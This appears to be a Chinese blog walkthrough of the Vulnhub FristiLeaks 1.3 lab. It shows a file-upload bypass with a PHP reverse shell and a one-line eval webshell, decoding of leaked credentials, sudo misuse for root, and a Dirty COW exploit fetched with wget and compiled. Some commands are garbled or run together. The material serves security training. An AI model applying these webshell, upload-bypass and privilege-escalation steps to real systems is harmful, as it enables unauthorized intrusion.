Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)
靶场地址
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月18日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
- Vulnhub百个项目渗透
- 前言
- 一、梳理流程
- 配置靶场
- 1.服务发现
- 2.web突破
- 1.页面信息收集
- 2.脆弱服务突破
- 3.webshell小技巧
- 2.内网突破
- 1.内网信息再次收集
- 2.内网脆弱服务突破
- 2.sudo提权
- 3.脏牛提权
- 4.源码获取
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
配置靶场
右键设置->网络适配器->高级,更改MAC地址为
08:00:27:A5:A6:76
然后再开机靶场,就可以看到ip了
1.服务发现
2.web突破
1.页面信息收集
恕我直言,我一开始啥也没搜集到,爆破目录只爆破出来一个robots.txt
看了一下,各种组合都访问不到,甚至做了本地host
直到我开始尝试页面那四个单词
192.168.247.145/fristi
这是个页面,我绝绝子
看到登陆页面第一个想到
- 弱口令
- sql注入
- 页面信息枚举搜集泄露的密码
sql注入有点麻烦,我就试了弱口令,失败,那就查看一下页面信息,没有的话用cewl爬一下,实在不行再考虑sql
于是我打开了源码,先看到了一个用户
如此显眼的base64,不需要上面的提示我都知道,hhhhh天才
果断解码,一个是个图片,一个是乱码
是个图片,里面的应该是密码,但是我还是查看一下16进制信息,防止坑
strings from_the-x.png
2.脆弱服务突破
啥也没有,那密码就是那个一大串,然后登陆
文件上传的口子,啥也不想的,直接先用kali自带的php脚本搞上去,顺便加上 GIF89a 这个头(在php脚本里加)
locate php-reverse-shell.php
----这个属于常识,我们要对kali自带的有好多种脚本熟悉,最起码记得个大概
cp xxxxxxxxxxxxxxxxxxxxxxxx .
gedit php-reverse-shell.php
再把后缀改成.jpg文件里面要改的喔,IP和端口改成自己的本地还要开一个对应的端口接shell喔
上传成功,提示说在/uploads这个目录下
但是访问失败
并且看下面那个图,没有转圈,说明根本就没执行,这就说明它因为解析jpg失败(因为他实际上是php),所以直接不解析。真是个懒逼。。。
- WINDOWS呢是这样,如果有多个后缀,那他就从最后一个往回执行,直到成功解析,多后缀名绕过也是一种常见但是目前也基本没有活路的绕过方式啦
再执行
发现绕圈圈
本地的端口也接到了shell
那么就开始内网环节
3.webshell小技巧
https://github.com/melbinkm/PHPImageShell
直接上传该php的shell,可以运行command命令框!
然后执行python那些的反弹啊啥的都行了就
2.内网突破
1.内网信息再次收集
先上传提权3脚本,以前的博客有写,这里就不写了
我的终端不知道为什么是这样,可能是做了安全限制,一般解决办法就是本地写好然后复制粘贴
python -c 'import pty;pty.spawn ("/bin/bash")' --生成稳定终端
然后就是枯燥的翻找,不过靶场一般还好,最多到上一级父目录就能发现下一步突破口了
在/home/eezeepz目录下发现:notes.txt文件
发现,翻译
2.内网脆弱服务突破
就是说意思是说如果正在运行脚本,则该脚本将在/tmp目录中以admin身份执行任何命令(如果位于runthis的文件中),所以只需要执行一个命令,使用/tmp/runthis文件技巧就可以访问/admin/文件(还有每个文件一分钟后才生效…)
先去user/bin看一下
没啥用,就一堆函数
那接下来就是要执行命令,利用他给的提示,给我们的apache服务权限,因为我们是通过apache搞进来的,所以我们就是apache用户,或者你要问我增麽知道是apache的,这个不重要或者告诉你说:第三张图nmap扫出来的?不重要
echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis
---对apache赋权admin用户权限
ls -l /home/admin
cat /home/admin/cryptedpass.txt 发现信息:mVGZ3O3omkJLmy2pcuTq
cat /home/admin/whoisyourgodnow.txt 发现信息:=RFn0AKnlMHMPIzpyuTI0ITG以及下面一个py文件
import base64,codecs,sys
def encodeString(str):base64string= base64.b64encode(str)return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
经过实际操作,他给的源码有问题,报错,那我们稍微修改一下
他给的:
import base64,codecs,sys
def encodeString(str):base64string= base64.b64encode(str)return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult我们写的,这些注释记得删掉,不然报错
python
import base64,codecs,sys ------一样的
// ---使用python导入base64,codecs,sys模块module!
rot13Str = "mVGZ3O3omkJLmy2pcuTq" ----rot135str是我的自定义变量,输入密文
base64Str = codecs.decode(rot13Str[::-1], 'rot13')
// --用codecs编码转换[::-1],decode编码转换rot13
clearTextStr = base64.b64decode(base64Str)
// ---base64Str进行decode进行base64解码
print (clearTextStr) //---打印出clearTextStr总的来说就是依据现有规则做二创
成功,另一个同理,修改一下py文件就行
获得的两个密码:
thisisalsopw123
LetThereBeFristi!
到这里的话,我们还剩什么用户没有登陆了呢?剩一个admin,剩一个fristigod
这是刚才提权脚本扫出来的。。。
先登录admin用户,看一下能不能sudo提权
sudo -l
提示:Sorry, user admin may not run sudo on 16-FristiLeaks_1.
2.sudo提权
不能用那就换一个
sudo -l
提示:(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
直接将用户sudo用做fristi来访问/var/fristigod/.secret_admin_stuff/doCom:那我们就按照他说的做呗sudo /var/fristigod/.secret_admin_stuff/doCom su -
Sorry, user fristigod is not allowed to execute '/var/fristigod/.secret_admin_stuff/doCom su -' as root on 16-FristiLeaks_1.3.
翻译:不允许用户fristigod以root权限运行!到这似乎已经是死路一条了,但是
在查看/var/fristigod目录下的cat .bash_history发现了历史命令:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
获得root权限!或者将/bin/bash附加到doCom也行:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
获得root权限!
3.脏牛提权
内网信息收集的时候脚本跑出来的
wget http://10.211.55.19:8081/40839.c
gcc -pthread 40839.c -o dayu -lcrypt
chmod +x rong
./rong rong
执行完提示将firefart密码修改为rong为root权限!
su firefart
rong
然后就获得root权限了!
4.源码获取
GIF98
<?php eval($_REQUEST[1]);?>
cp /var/www/html/fristi/uploadstar -zcvf web.tar.gz /var/www/html/*cp web.tar.gz /var/www/html/fristi/uploads
这时候就可以download源码下来了!丢到seay里面去审计!